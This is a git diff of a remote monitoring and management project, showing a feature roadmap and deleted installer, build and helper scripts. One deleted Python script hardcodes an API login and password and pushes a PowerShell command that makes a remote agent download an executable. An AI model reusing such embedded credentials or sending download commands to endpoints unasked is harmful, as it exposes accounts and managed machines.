- [ ] Remote terminal (web-based) - P2
|
||||
- [ ] Remote desktop (RDP/VNC proxy) - P3
|
||||
- [ ] File manager UI - P3
|
||||
|
||||
### Direct Agent Connection (Admin Tunnel)
|
||||
- [ ] On-demand reverse tunnel to agent - P2
|
||||
- [ ] Live interactive shell session (not queued commands) - P2
|
||||
- [ ] Direct command pipe (real-time stdin/stdout/stderr) - P2
|
||||
- [ ] Point-to-point encrypted tunnel (WireGuard/custom) - P3
|
||||
- [ ] Tunnel enables direct SSH/RDP through agent - P3
|
||||
- [ ] Credential/role-based access (only authorized admins) - P1
|
||||
- [ ] Agent classification determines tunnel capability - P2
|
||||
- [ ] Session recording for audit - P2
|
||||
- [ ] Idle timeout and forced disconnect - P2
|
||||
- [ ] Concurrent session limits - P3
|
||||
- [ ] Tunnel through site proxy (when agent behind NAT) - P3
|
||||
- [ ] Local port forwarding through tunnel - P3
|
||||
|
||||
### User Experience & Interface Design
|
||||
|
||||
#### Design Philosophy
|
||||
- Beautiful AND functional - no compromise, no "ugly but it works"
|
||||
- Clean, modern aesthetic with purposeful whitespace
|
||||
- Information density without clutter
|
||||
- Consistent design language across all modules
|
||||
- Accessibility (WCAG compliance, screen readers, keyboard nav)
|
||||
|
||||
#### Customization
|
||||
- [ ] Dark/light/system theme - P2
|
||||
- [ ] Customizable dashboard layouts (drag-and-drop widgets) - P2
|
||||
- [ ] User-defined color accents/branding - P2
|
||||
- [ ] Configurable data density (compact/comfortable/spacious) - P2
|
||||
- [ ] Saved views and workspace layouts - P2
|
||||
- [ ] Per-user preferences synced across devices - P2
|
||||
- [ ] Custom CSS injection for white-label deployments - P3
|
||||
|
||||
#### Real-Time Updates
|
||||
- [ ] WebSocket-based live data (no page refresh) - P1
|
||||
- [ ] Real-time agent status changes - P1
|
||||
- [ ] Live metric updates on dashboards - P1
|
||||
- [ ] Instant alert notifications (toast/badge) - P1
|
||||
- [ ] Collaborative indicators (who else is viewing this ticket) - P3
|
||||
- [ ] Optimistic UI updates (instant feedback, sync in background) - P2
|
||||
|
||||
#### Third-Party Module Integration
|
||||
- [ ] Plugin/module API for UI extensions - P2
|
||||
- [ ] Dashboard widget SDK (third parties can add widgets) - P2
|
||||
- [ ] Panel embedding (iframe or native component) - P2
|
||||
- [ ] Unified navigation (third-party modules appear native) - P2
|
||||
- [ ] Shared authentication context - P2
|
||||
- [ ] Event bus for cross-module communication - P2
|
||||
- [ ] Style guide/component library for consistent third-party UI - P2
|
||||
|
||||
#### Core UX
|
||||
- [ ] Mobile responsive (PWA capable) - P2
|
||||
- [ ] Keyboard shortcuts with command palette (Cmd+K) - P2
|
||||
- [ ] Saved searches/filters - P2
|
||||
- [ ] Bulk selection and actions - P2
|
||||
- [ ] Contextual right-click menus - P3
|
||||
- [ ] Undo/redo for destructive actions - P2
|
||||
- [ ] Breadcrumb navigation - P1
|
||||
- [ ] Global search (agents, tickets, customers, docs) - P1
|
||||
|
||||
### Customer Portal (End-User Facing)
|
||||
- [ ] Branded portal per customer (white-label) - P2
|
||||
- [ ] Ticket submission and tracking - P1
|
||||
- [ ] View open/closed ticket history - P1
|
||||
- [ ] Asset inventory view (their devices) - P2
|
||||
- [ ] Service status dashboard (are things healthy?) - P2
|
||||
- [ ] Meaningful metrics (uptime, response times, SLA status) - P2
|
||||
- [ ] Invoice/billing history - P3
|
||||
- [ ] Knowledge base / self-service articles - P2
|
||||
- [ ] Scheduled maintenance notifications - P2
|
||||
- [ ] Contact directory (who to call for what) - P2
|
||||
- [ ] Document library (contracts, policies, procedures) - P3
|
||||
- [ ] Approval workflows (quote approvals, change requests) - P3
|
||||
- [ ] Mobile-friendly / PWA - P2
|
||||
|
||||
---
|
||||
|
||||
## Integration Features
|
||||
|
||||
### PSA/Ticketing Integration (External)
|
||||
- [ ] ConnectWise Manage - P3
|
||||
- [ ] Autotask - P3
|
||||
- [ ] HaloPSA - P3
|
||||
- [ ] Generic webhook for tickets - P2
|
||||
- [ ] Pluggable PSA adapter architecture - P2
|
||||
|
||||
### GuruPSA (Companion CRM/PSA) - Separate Project
|
||||
- [ ] Core ticketing system - P1
|
||||
- [ ] Customer/company management - P1
|
||||
- [ ] Contact management - P1
|
||||
- [ ] Asset linking (from RMM) - P1
|
||||
- [ ] Time tracking - P2
|
||||
- [ ] Contracts/SLA management - P2
|
||||
- [ ] Quoting/proposals - P3
|
||||
- [ ] Project management - P3
|
||||
- [ ] Knowledge base - P2
|
||||
- [ ] Technician mobile app - P3
|
||||
- [ ] Calendar/scheduling - P3
|
||||
- [ ] Email integration (ticket from email) - P1
|
||||
- [ ] Alert-to-ticket automation - P1
|
||||
- [ ] Shared reporting engine with RMM - P1
|
||||
|
||||
### Automated Usage-Based Billing (GuruPSA + RMM Integration)
|
||||
No more manual agent counting. Usage data flows automatically to invoices.
|
||||
|
||||
#### Core Billing Engine
|
||||
- [ ] Recurring invoice generation - P2
|
||||
- [ ] Usage metering framework (count anything, bill for it) - P2
|
||||
- [ ] Billing rules engine (per-agent, per-user, tiered, flat) - P2
|
||||
- [ ] Proration for mid-cycle changes - P2
|
||||
- [ ] Invoice approval workflow (review before send) - P2
|
||||
- [ ] Multi-currency support - P3
|
||||
- [ ] Tax calculation / integration - P3
|
||||
- [ ] Payment gateway integration (Stripe, QuickBooks, etc.) - P2
|
||||
|
||||
#### RMM-to-Invoice Automation
|
||||
- [ ] Live agent count per customer - P1
|
||||
- [ ] Auto-sync agent count to invoice line items - P2
|
||||
- [ ] Agent add/remove reflected immediately in billing - P2
|
||||
- [ ] Billable vs non-billable agent classification - P2
|
||||
- [ ] Per-agent-type pricing (server vs workstation) - P2
|
||||
- [ ] Audit trail (agent added on X date, removed on Y) - P2
|
||||
- [ ] Usage snapshots for billing period - P2
|
||||
- [ ] Dispute resolution (customer says "I only had 10") - P2
|
||||
|
||||
#### Third-Party Usage Integration
|
||||
- [ ] Generic API adapter for usage data - P2
|
||||
- [ ] MSP Backup integration (licenses, storage used) - P2
|
||||
- [ ] Microsoft 365 license count (via Graph API) - P2
|
||||
- [ ] Google Workspace license count - P3
|
||||
- [ ] DNS/domain registrar counts - P3
|
||||
- [ ] Security product license counts - P3
|
||||
- [ ] Storage/bandwidth metering - P3
|
||||
- [ ] Custom API connector builder - P3
|
||||
|
||||
#### Billing Intelligence
|
||||
- [ ] Usage trending (predict next invoice) - P3
|
||||
- [ ] Anomaly alerts (sudden agent spike/drop) - P2
|
||||
- [ ] Margin analysis per customer - P3
|
||||
- [ ] Contract vs actual usage comparison - P2
|
||||
- [ ] Unbilled usage warnings - P2
|
||||
|
||||
### Unified API Architecture
|
||||
- [ ] RESTful API for all RMM functions - P1
|
||||
- [ ] RESTful API for all PSA functions - P1
|
||||
- [ ] OpenAPI/Swagger documentation - P1
|
||||
- [ ] Webhook system (outbound events) - P2
|
||||
- [ ] API versioning strategy - P1
|
||||
- [ ] Rate limiting and quotas - P2
|
||||
- [ ] API key management - P1
|
||||
- [ ] OAuth2 for third-party integrations - P2
|
||||
- [ ] GraphQL endpoint (optional) - P3
|
||||
- [ ] Event-driven architecture (pub/sub) - P2
|
||||
- [ ] Integration SDK/client libraries - P3
|
||||
|
||||
### Documentation
|
||||
- [ ] IT Glue integration - P3
|
||||
- [ ] Hudu integration - P3
|
||||
- [ ] Auto-document discovered info - P3
|
||||
|
||||
### Backup
|
||||
- [ ] Veeam status monitoring - P3
|
||||
- [ ] Datto status monitoring - P3
|
||||
- [ ] Generic backup job monitoring - P2
|
||||
|
||||
### Network
|
||||
- [ ] SNMP monitoring - P3
|
||||
- [ ] Network device discovery - P3
|
||||
- [ ] Bandwidth monitoring - P3
|
||||
|
||||
---
|
||||
|
||||
## Security Features
|
||||
|
||||
### Endpoint Security
|
||||
- [ ] Antivirus status monitoring - P2
|
||||
- [ ] Windows Defender management - P2
|
||||
- [ ] Firewall status - P2
|
||||
- [ ] Security baseline compliance - P3
|
||||
- [ ] Vulnerability scanning integration - P3
|
||||
|
||||
### Audit & Compliance
|
||||
- [ ] Full audit trail - P1
|
||||
- [ ] Session recording - P3
|
||||
- [ ] Compliance reporting (SOC2, etc.) - P3
|
||||
- [ ] Data retention policies - P2
|
||||
|
||||
### Agent Security Hardening (P1 post-alpha)
|
||||
- [ ] Dependency vulnerability scanning (CI/CD pipeline) - P1
|
||||
- [ ] Automated CVE monitoring for all dependencies - P1
|
||||
- [ ] Regular security audits of agent codebase - P1
|
||||
- [ ] Minimal attack surface (no unnecessary open ports) - P1
|
||||
- [ ] Code signing for agent binaries - P1
|
||||
- [ ] Secure update mechanism (signed updates only) - P1
|
||||
- [ ] Memory-safe language benefits (Rust) - P1
|
||||
- [ ] Principle of least privilege (drop privs where possible) - P1
|
||||
- [ ] Certificate pinning for server communication - P2
|
||||
- [ ] Tamper detection (agent integrity monitoring) - P2
|
||||
- [ ] Sandboxed command execution option - P3
|
||||
- [ ] Security disclosure program / responsible disclosure policy - P2
|
||||
- [ ] Penetration testing (periodic) - P2
|
||||
- [ ] SBOM (Software Bill of Materials) for transparency - P2
|
||||
- [ ] Rapid patch deployment capability - P1
|
||||
|
||||
---
|
||||
|
||||
## Infrastructure
|
||||
|
||||
### Deployment
|
||||
|
||||
#### Development/Small Scale
|
||||
- [ ] Docker Compose deployment - P1
|
||||
- [ ] Single-server setup (dev, small MSP <500 agents) - P1
|
||||
|
||||
#### Production/Cloud Scale
|
||||
- [ ] Kubernetes deployment - P2
|
||||
- [ ] Cloud-native architecture (AWS, Azure, GCP) - P2
|
||||
- [ ] Horizontal scaling (stateless API servers) - P2
|
||||
- [ ] Auto-scaling based on load - P2
|
||||
- [ ] High availability (multi-zone, failover) - P2
|
||||
- [ ] Load balancing (API, WebSocket, dashboard) - P2
|
||||
- [ ] Geographic distribution (multi-region) - P3
|
||||
- [ ] CDN for dashboard/static assets - P2
|
||||
- [ ] Managed database services (RDS, Cloud SQL) - P2
|
||||
- [ ] Message queue for agent check-ins (Redis, RabbitMQ, SQS) - P2
|
||||
- [ ] Connection pooling for 50k+ concurrent agents - P2
|
||||
- [ ] Read replicas for reporting/analytics queries - P2
|
||||
- [ ] Tenant isolation (multi-tenant SaaS) - P3
|
||||
|
||||
### Code Signing & Distribution (Pre-Release)
|
||||
- [ ] Windows EV Code Signing Certificate - P1 (pre-release)
|
||||
- Required for SmartScreen reputation
|
||||
- ~$400-600/year (DigiCert, Sectigo, GlobalSign)
|
||||
- Hardware token required for private key
|
||||
- [ ] Apple Developer Program enrollment - P1 (pre-release)
|
||||
- $99/year - covers macOS signing and notarization
|
||||
- Required for Gatekeeper approval on macOS 10.15+
|
||||
- [ ] Signing pipeline integration (CI/CD) - P1 (pre-release)
|
||||
- [ ] Notarization workflow for macOS builds - P1 (pre-release)
|
||||
- [ ] Secure key storage (HSM or hardware token) - P1 (pre-release)
|
||||
|
||||
### Data
|
||||
- [ ] PostgreSQL backend - P1
|
||||
- [ ] Redis caching - P2
|
||||
- [ ] Time-series DB for metrics (InfluxDB/TimescaleDB) - P2
|
||||
- [ ] Data archival/retention - P2
|
||||
- [ ] Backup/restore - P1
|
||||
|
||||
---
|
||||
|
||||
## Platform Support
|
||||
|
||||
### Agent Platforms
|
||||
- [ ] Windows (x64) - P1
|
||||
- [ ] Windows (ARM64) - P3
|
||||
- [ ] Linux (x64) - P1
|
||||
- [ ] Linux (ARM64) - P2
|
||||
- [ ] macOS (Intel) - P2
|
||||
- [ ] macOS (Apple Silicon) - P2
|
||||
- [ ] FreeBSD - P3
|
||||
|
||||
### Mobile Device Management (MDM)
|
||||
- [ ] iOS/iPadOS agent (MDM profile-based) - P2
|
||||
- [ ] Android agent (Work Profile / Device Admin) - P2
|
||||
- [ ] Mobile device inventory - P2
|
||||
- [ ] App deployment/management - P3
|
||||
- [ ] Remote lock/wipe - P2
|
||||
- [ ] Location tracking (with consent) - P3
|
||||
- [ ] Compliance policies (PIN, encryption) - P2
|
||||
- [ ] BYOD vs corporate device handling - P3
|
||||
- [ ] Apple Business Manager integration - P3
|
||||
- [ ] Android Enterprise integration - P3
|
||||
- [ ] Mobile management dashboard - P2
|
||||
- [ ] Push notification for alerts - P2
|
||||
|
||||
### Appliance/NAS Agents
|
||||
- [ ] Unraid plugin - P2
|
||||
- [ ] Synology package (DSM) - P2
|
||||
- [ ] QNAP package (QTS) - P3
|
||||
- [ ] TrueNAS plugin - P3
|
||||
- [ ] Netgear ReadyNAS (limited/polling) - P3
|
||||
- [ ] Docker container agent (for containerized appliances) - P2
|
||||
- [ ] SNMP-based monitoring (for appliances without agent support) - P2
|
||||
- [ ] Proxmox integration - P2
|
||||
- [ ] ESXi/vSphere monitoring - P3
|
||||
|
||||
### Appliance-Specific Metrics
|
||||
- [ ] RAID/array health status - P2
|
||||
- [ ] Drive temperatures and SMART data - P2
|
||||
- [ ] Share/volume utilization - P2
|
||||
- [ ] Replication/sync job status - P3
|
||||
- [ ] UPS status (NUT integration) - P2
|
||||
- [ ] Docker container status (for Unraid/NAS) - P2
|
||||
- [ ] VM status (Proxmox/ESXi) - P3
|
||||
- [ ] Backup job status - P2
|
||||
|
||||
### Installation Methods
|
||||
- [ ] MSI installer (Windows) - P1
|
||||
- [ ] DEB package (Debian/Ubuntu) - P2
|
||||
- [ ] RPM package (RHEL/Fedora) - P2
|
||||
- [ ] Homebrew (macOS) - P3
|
||||
- [ ] One-liner install script - P1
|
||||
|
||||
---
|
||||
|
||||
## Future Considerations
|
||||
|
||||
### AI/Automation
|
||||
|
||||
#### Ticket Intelligence (P2)
|
||||
- [ ] Grammar/spelling correction for technician notes
|
||||
- [ ] Professional tone enhancement (convert shorthand to proper language)
|
||||
- [ ] Auto-summarization of long ticket threads
|
||||
- [ ] Smart ticket categorization/tagging based on content
|
||||
- [ ] Duplicate/related ticket detection (3 people report same issue → merge offer)
|
||||
|
||||
#### Troubleshooting Assistant (P2)
|
||||
- [ ] Suggest solutions based on similar past tickets
|
||||
- [ ] Pattern matching on ticket subject/description
|
||||
- [ ] Alert-to-resolution correlation (what fixed this alert before?)
|
||||
- [ ] Knowledge base article suggestions
|
||||
- [ ] "This issue was resolved X times before by doing Y"
|
||||
|
||||
#### Proactive Intelligence (P3)
|
||||
- [ ] Anomaly detection (ML-based)
|
||||
- [ ] Auto-remediation scripts (with approval workflow)
|
||||
- [ ] Natural language queries ("show me servers with high CPU this week")
|
||||
- [ ] Predictive alerting (disk will be full in 3 days based on trend)
|
||||
|
||||
### Advanced Features
|
||||
- [ ] Asset lifecycle management - P3
|
||||
- [ ] License management - P3
|
||||
- [ ] Cost tracking/billing - P3
|
||||
- [ ] API for third-party integrations - P2
|
||||
|
||||
(White-labeling moved to Core Agent Features → White-Labeling / Branding)
|
||||
|
||||
---
|
||||
|
||||
## Development Phases
|
||||
|
||||
### Phase 1: Foundation (MVP)
|
||||
Core RMM functionality - enough to monitor your own clients.
|
||||
- Agent: heartbeat, basic metrics (CPU, RAM, disk), Windows + Linux
|
||||
- Server: agent registration, API, database
|
||||
- Dashboard: agent list, status, basic metrics view
|
||||
- Alerts: threshold-based, email notification
|
||||
|
||||
### Phase 2: Operational
|
||||
Day-to-day MSP operations.
|
||||
- Remote commands, PowerShell/Bash execution
|
||||
- Patch status, software inventory
|
||||
- Alert escalation, maintenance windows
|
||||
- Basic reporting
|
||||
|
||||
### Phase 3: PSA Integration
|
||||
GuruPSA companion or third-party PSA.
|
||||
- Ticketing, customer management
|
||||
- Alert-to-ticket automation
|
||||
- Time tracking, basic billing
|
||||
- Customer portal
|
||||
|
||||
### Phase 4: Scale & Polish
|
||||
Production-ready for broader use.
|
||||
- Cloud deployment, horizontal scaling
|
||||
- Advanced reporting, usage-based billing
|
||||
- UI polish, customization
|
||||
- Third-party integrations, plugin SDK
|
||||
|
||||
### Phase 5: Intelligence
|
||||
Differentiation features.
|
||||
- AI ticket enhancement, troubleshooting suggestions
|
||||
- Anomaly detection, predictive alerting
|
||||
- Advanced analytics
|
||||
|
||||
---
|
||||
|
||||
## Design Principles
|
||||
|
||||
### True Integration, Not API Checkboxes
|
||||
Unlike vendors who claim "API integration" but deliver siloed products that barely talk to each other, GuruRMM and GuruPSA must be designed as a unified system:
|
||||
|
||||
- **Single Action, Full Workflow**: When an admin initiates an EDR scan from the RMM, the PSA should automatically:
|
||||
- Create/update a ticket with scan status
|
||||
- Log the action against the asset
|
||||
- Update documentation with findings
|
||||
- Trigger alerts/escalations based on results
|
||||
- No manual steps, no copy-paste, no "check the other product"
|
||||
|
||||
- **Bidirectional Context**: A technician viewing a ticket should see:
|
||||
- Real-time agent status
|
||||
- Recent alerts and metrics
|
||||
- One-click remote access
|
||||
- Full asset history
|
||||
- Not just a link to "go look it up in the RMM"
|
||||
|
||||
- **Event-Driven Architecture**: Actions in one product automatically trigger appropriate responses in others. Not "you can build it yourself with the API" - it works out of the box.
|
||||
|
||||
- **Shared Data Model**: Assets, customers, contacts, and history exist once and are referenced everywhere. No sync conflicts, no duplicate data entry.
|
||||
|
||||
### Avoid the Datto Anti-Pattern
|
||||
Datto owns ITGlue, Autotask, DattoRMM, and EDR - yet they operate as separate products that happen to have APIs. Example failures to avoid:
|
||||
- EDR scan results don't auto-create tickets
|
||||
- RMM alerts require manual ticket creation
|
||||
- Documentation requires separate manual updates
|
||||
- "Integration" means "we have an API, build it yourself"
|
||||
|
||||
GuruRMM/GuruPSA should feel like one product with different views, not two products bolted together.
|
||||
|
||||
---
|
||||
|
||||
## Notes
|
||||
|
||||
Add feature ideas and notes here as they come up:
|
||||
|
||||
- GuruPSA will be a separate repo but designed to integrate seamlessly with GuruRMM
|
||||
- API-first design: both products should be fully controllable via API
|
||||
- Users can use GuruRMM standalone, GuruPSA standalone, or both together
|
||||
- Third-party PSA users get first-class integration via pluggable adapters
|
||||
- Consider shared authentication/SSO between RMM and PSA
|
||||
|
||||
## Project Structure
|
||||
|
||||
```
|
||||
GuruRMM (this repo)
|
||||
├── agent/ - Rust agent for endpoints
|
||||
├── server/ - Rust API server
|
||||
├── dashboard/ - React web dashboard
|
||||
└── docs/ - Documentation
|
||||
|
||||
GuruPSA (future repo)
|
||||
├── server/ - API server (Rust or Node?)
|
||||
├── dashboard/ - React web dashboard
|
||||
├── portal/ - Customer portal
|
||||
└── docs/ - Documentation
|
||||
|
||||
Shared
|
||||
├── guru-api-sdk/ - Client libraries for API
|
||||
└── guru-common/ - Shared types/utilities
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
*Last updated: 2025-12-15*
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,35 +0,0 @@
|
||||
import requests, json, time, sys
|
||||
|
||||
# Auth
|
||||
token_r = requests.post('http://172.16.3.30:3001/api/auth/login', json={
|
||||
'email': 'claude-api@azcomputerguru.com',
|
||||
'password': 'ClaudeAPI2026!@#'
|
||||
})
|
||||
token = token_r.json()['token']
|
||||
headers = {'Authorization': 'Bearer ' + token, 'Content-Type': 'application/json'}
|
||||
agent_id = 'd28a1c90-47d7-448f-a287-197bc8892234'
|
||||
|
||||
# Send download command via PowerShell
|
||||
cmd = (
|
||||
"New-Item -ItemType Directory -Path C:/Temp -Force | Out-Null; "
|
||||
"Invoke-WebRequest -Uri 'http://172.16.3.30/gururmm-agent-new.exe' "
|
||||
"-OutFile 'C:/Temp/gururmm-agent-new.exe' -UseBasicParsing; "
|
||||
"$f = Get-Item 'C:/Temp/gururmm-agent-new.exe'; "
|
||||
"Write-Output ('Downloaded: ' + $f.Length.ToString() + ' bytes')"
|
||||
)
|
||||
|
||||
r = requests.post(
|
||||
'http://172.16.3.30:3001/api/agents/' + agent_id + '/command',
|
||||
headers=headers,
|
||||
json={'command_type': 'powershell', 'command': cmd, 'timeout_seconds': 120}
|
||||
)
|
||||
print('Send:', r.json())
|
||||
cmd_id = r.json()['command_id']
|
||||
|
||||
# Wait and check
|
||||
time.sleep(20)
|
||||
r2 = requests.get('http://172.16.3.30:3001/api/commands/' + cmd_id, headers=headers)
|
||||
d = r2.json()
|
||||
print('Status:', d['status'])
|
||||
print('stdout:', d.get('stdout', ''))
|
||||
print('stderr:', (d.get('stderr', '') or '')[:500])
|
||||
@@ -1,5 +0,0 @@
|
||||
# Build artifacts — reproducible from wxs + downloaded binary
|
||||
*.msi
|
||||
*.wixpdb
|
||||
install-test.log
|
||||
src/gururmm-agent.exe
|
||||
@@ -1,97 +0,0 @@
|
||||
# GuruRMM Agent MSI Installer
|
||||
|
||||
Signed Windows installer for the GuruRMM agent. Builds on Windows via WiX 5,
|
||||
signed with Azure Trusted Signing. Produces a `gururmm-agent-<version>.msi`
|
||||
suitable for double-click install, silent install via `msiexec /qn`, or GPO
|
||||
Software Installation deployment.
|
||||
|
||||
## Status
|
||||
|
||||
**Phase 1 (current):** MVP — installs binary to `C:\Program Files\GuruRMM\`,
|
||||
creates `C:\ProgramData\GuruRMM\` data directory, Apps & Features entry with
|
||||
proper publisher, clean silent install + uninstall.
|
||||
|
||||
**Phase 2 (planned):**
|
||||
|
||||
- `ServiceInstall` element to register the Windows service on install
|
||||
- MSI properties for `SITE_CODE`, `SERVER_URL`, `API_KEY` passed at install time
|
||||
- Custom actions to invoke the agent's native `install` / `uninstall` subcommands
|
||||
- Firewall rule registration (if the tunnel subscriber path requires inbound)
|
||||
- Start menu entry (optional; most customers don't need it for background agent)
|
||||
|
||||
## Prerequisites (build host)
|
||||
|
||||
- Windows 10 / 11 / Server 2019+ (WiX v5 is Windows-only per upstream)
|
||||
- .NET SDK 8 — `winget install --id Microsoft.DotNet.SDK.8 -e`
|
||||
- WiX v5 — `dotnet tool install --global wix --version 5.0.2`
|
||||
- Windows SDK signtool — typically already present if Visual Studio Build Tools
|
||||
or Windows SDK is installed
|
||||
- Azure Trusted Signing `sign.ps1` + dlib at `C:\tools\trusted-signing\`
|
||||
- `az login` active session with the `gururmm-build-signer` SP, or an
|
||||
interactive user with the `Artifact Signing Certificate Profile Signer`
|
||||
role on the `gururmm-public-trust` certificate profile
|
||||
|
||||
## Build
|
||||
|
||||
```powershell
|
||||
cd installer
|
||||
.\build-msi.ps1 -Version 0.6.1
|
||||
```
|
||||
|
||||
Defaults:
|
||||
- Downloads `gururmm-agent-windows-amd64-<version>.exe` from
|
||||
`https://rmm-api.azcomputerguru.com/downloads/`
|
||||
- Refuses to package an unsigned agent (verifies signature before packaging)
|
||||
- Signs the resulting MSI against the `gururmm-public-trust` cert profile
|
||||
- Emits `<msi>.sha256` alongside
|
||||
|
||||
Flags:
|
||||
- `-SkipSign` — build without signing (dev/test)
|
||||
- `-KeepSource` — don't delete `src/gururmm-agent.exe` after build
|
||||
- `-SourceUrl` — override download origin (e.g., for staging)
|
||||
|
||||
## Install
|
||||
|
||||
```powershell
|
||||
# Interactive (UAC prompt → "Verified publisher: Arizona Computer Guru LLC")
|
||||
.\gururmm-agent-0.6.1.msi
|
||||
|
||||
# Silent (no UI, return code 0 = success, writes verbose log)
|
||||
msiexec /i gururmm-agent-0.6.1.msi /qn /l*v install.log
|
||||
|
||||
# Silent with (future) site-code baking once Phase 2 custom actions land
|
||||
msiexec /i gururmm-agent-0.6.1.msi /qn SITE_CODE=xyz123 SERVER_URL=wss://rmm-api.example.com/ws /l*v install.log
|
||||
```
|
||||
|
||||
## Uninstall
|
||||
|
||||
```powershell
|
||||
# Via Apps & Features: "GuruRMM Agent" → Uninstall
|
||||
# Or silent:
|
||||
msiexec /x gururmm-agent-0.6.1.msi /qn
|
||||
|
||||
# By ProductCode if original MSI isn't handy:
|
||||
msiexec /x {PRODUCT-CODE-GUID-HERE} /qn
|
||||
```
|
||||
|
||||
Uninstall removes `C:\Program Files\GuruRMM\` contents but **preserves
|
||||
`C:\ProgramData\GuruRMM\`** (logs, config, device identity). Manually delete
|
||||
that directory if doing a full purge.
|
||||
|
||||
## Files
|
||||
|
||||
| File | Purpose |
|
||||
|---|---|
|
||||
| `gururmm.wxs` | WiX installer definition — canonical source |
|
||||
| `build-msi.ps1` | Build + sign wrapper |
|
||||
| `src/gururmm-agent.exe` | Downloaded signed agent at build time (gitignored) |
|
||||
| `gururmm-agent-*.msi` | Build output (gitignored) |
|
||||
| `gururmm-agent-*.wixpdb` | WiX debug symbols (gitignored) |
|
||||
| `install-test.log` | Install log from local smoke tests (gitignored) |
|
||||
|
||||
## UpgradeCode
|
||||
|
||||
The UpgradeCode `4c0aef59-9d08-4781-a3b4-a1c99b3b2e28` is the **permanent
|
||||
identity** of the GuruRMM agent product family. Never change it. All future
|
||||
versions must ship with this same UpgradeCode so MSI upgrades work
|
||||
automatically via `msiexec /i newer.msi`.
|
||||
@@ -1,75 +0,0 @@
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Build + sign a GuruRMM Agent MSI installer.
|
||||
|
||||
.DESCRIPTION
|
||||
Downloads the signed agent binary for the target version, packages it into
|
||||
an MSI via WiX, signs the MSI with Azure Trusted Signing, and writes the
|
||||
result to the current directory.
|
||||
|
||||
Requires:
|
||||
- .NET SDK 8
|
||||
- wix global tool (dotnet tool install --global wix --version 5.0.2)
|
||||
- Azure Trusted Signing access via sign.ps1 at C:\tools\trusted-signing\
|
||||
- az login session (DefaultAzureCredential)
|
||||
|
||||
.EXAMPLE
|
||||
.\build-msi.ps1 -Version 0.6.1
|
||||
.\build-msi.ps1 -Version 0.6.1 -SourceUrl https://rmm-api.azcomputerguru.com/downloads -SkipSign
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory)] [string] $Version,
|
||||
[string] $SourceUrl = 'https://rmm-api.azcomputerguru.com/downloads',
|
||||
[string] $WixExe = "$env:USERPROFILE\.dotnet\tools\wix.exe",
|
||||
[string] $SignScript = 'C:\tools\trusted-signing\sign.ps1',
|
||||
[switch] $SkipSign,
|
||||
[switch] $KeepSource
|
||||
)
|
||||
|
||||
$ErrorActionPreference = 'Stop'
|
||||
Set-Location $PSScriptRoot
|
||||
|
||||
if (-not (Test-Path $WixExe)) { throw "wix.exe not found at $WixExe" }
|
||||
|
||||
$srcDir = Join-Path $PSScriptRoot 'src'
|
||||
if (-not (Test-Path $srcDir)) { New-Item -ItemType Directory -Path $srcDir | Out-Null }
|
||||
|
||||
$exePath = Join-Path $srcDir 'gururmm-agent.exe'
|
||||
$downloadUrl = "$SourceUrl/gururmm-agent-windows-amd64-$Version.exe"
|
||||
|
||||
Write-Host "[1] Downloading signed agent $Version from $downloadUrl ..." -ForegroundColor Cyan
|
||||
Invoke-WebRequest -Uri $downloadUrl -OutFile $exePath -UseBasicParsing
|
||||
$sig = Get-AuthenticodeSignature $exePath
|
||||
if ($sig.Status -ne 'Valid') {
|
||||
throw "Downloaded agent has invalid or missing signature: $($sig.Status). Refusing to package an unsigned agent."
|
||||
}
|
||||
Write-Host " signed by: $($sig.SignerCertificate.Subject)" -ForegroundColor Gray
|
||||
|
||||
$msiName = "gururmm-agent-$Version.msi"
|
||||
Write-Host "[2] Building $msiName via WiX ..." -ForegroundColor Cyan
|
||||
& $WixExe build gururmm.wxs -arch x64 -o $msiName -d "Version=$Version"
|
||||
if ($LASTEXITCODE -ne 0) { throw "wix build failed (exit $LASTEXITCODE)" }
|
||||
|
||||
if (-not $SkipSign) {
|
||||
if (-not (Test-Path $SignScript)) { throw "sign.ps1 not found at $SignScript" }
|
||||
Write-Host "[3] Signing $msiName ..." -ForegroundColor Cyan
|
||||
& $SignScript -File (Join-Path $PSScriptRoot $msiName) `
|
||||
-Description "GuruRMM Agent Installer v$Version" `
|
||||
-Url 'https://www.azcomputerguru.com' `
|
||||
-Verify
|
||||
if ($LASTEXITCODE -ne 0) { throw "signing failed (exit $LASTEXITCODE)" }
|
||||
}
|
||||
|
||||
if (-not $KeepSource) {
|
||||
Remove-Item $exePath -ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
$msiPath = Join-Path $PSScriptRoot $msiName
|
||||
$hash = (Get-FileHash $msiPath -Algorithm SHA256).Hash.ToLower()
|
||||
$hash | Set-Content "$msiPath.sha256"
|
||||
"$hash $msiName" | Set-Content "$msiPath.sha256"
|
||||
Write-Host ""
|
||||
Write-Host "[DONE]" -ForegroundColor Green
|
||||
Write-Host " msi: $msiPath"
|
||||
Write-Host " sha256: $hash"
|
||||
@@ -1,58 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!--
|
||||
GuruRMM Agent Windows Installer
|
||||
Builds an MSI that installs the signed agent binary, creates the runtime
|
||||
data directory, registers the Windows service, and supports clean
|
||||
upgrade + uninstall via Programs and Features.
|
||||
|
||||
Build: wix build gururmm.wxs -arch x64 -o gururmm-agent-VERSION.msi
|
||||
Sign: (use sign.ps1 against the resulting .msi before shipping)
|
||||
-->
|
||||
<Wix xmlns="http://wixtoolset.org/schemas/v4/wxs">
|
||||
<Package Name="GuruRMM Agent"
|
||||
Manufacturer="Arizona Computer Guru LLC"
|
||||
Version="0.6.1"
|
||||
UpgradeCode="4c0aef59-9d08-4781-a3b4-a1c99b3b2e28"
|
||||
Scope="perMachine"
|
||||
InstallerVersion="500">
|
||||
|
||||
<SummaryInformation Description="GuruRMM Agent — Remote monitoring and management agent"
|
||||
Manufacturer="Arizona Computer Guru LLC" />
|
||||
|
||||
<MajorUpgrade DowngradeErrorMessage="A newer version of GuruRMM Agent is already installed. Uninstall the newer version first if you need to downgrade." />
|
||||
|
||||
<MediaTemplate EmbedCab="yes" CompressionLevel="high" />
|
||||
|
||||
<!-- Install location: C:\Program Files\GuruRMM\ -->
|
||||
<StandardDirectory Id="ProgramFiles64Folder">
|
||||
<Directory Id="INSTALLFOLDER" Name="GuruRMM" />
|
||||
</StandardDirectory>
|
||||
|
||||
<!-- Runtime data + logs: C:\ProgramData\GuruRMM\ -->
|
||||
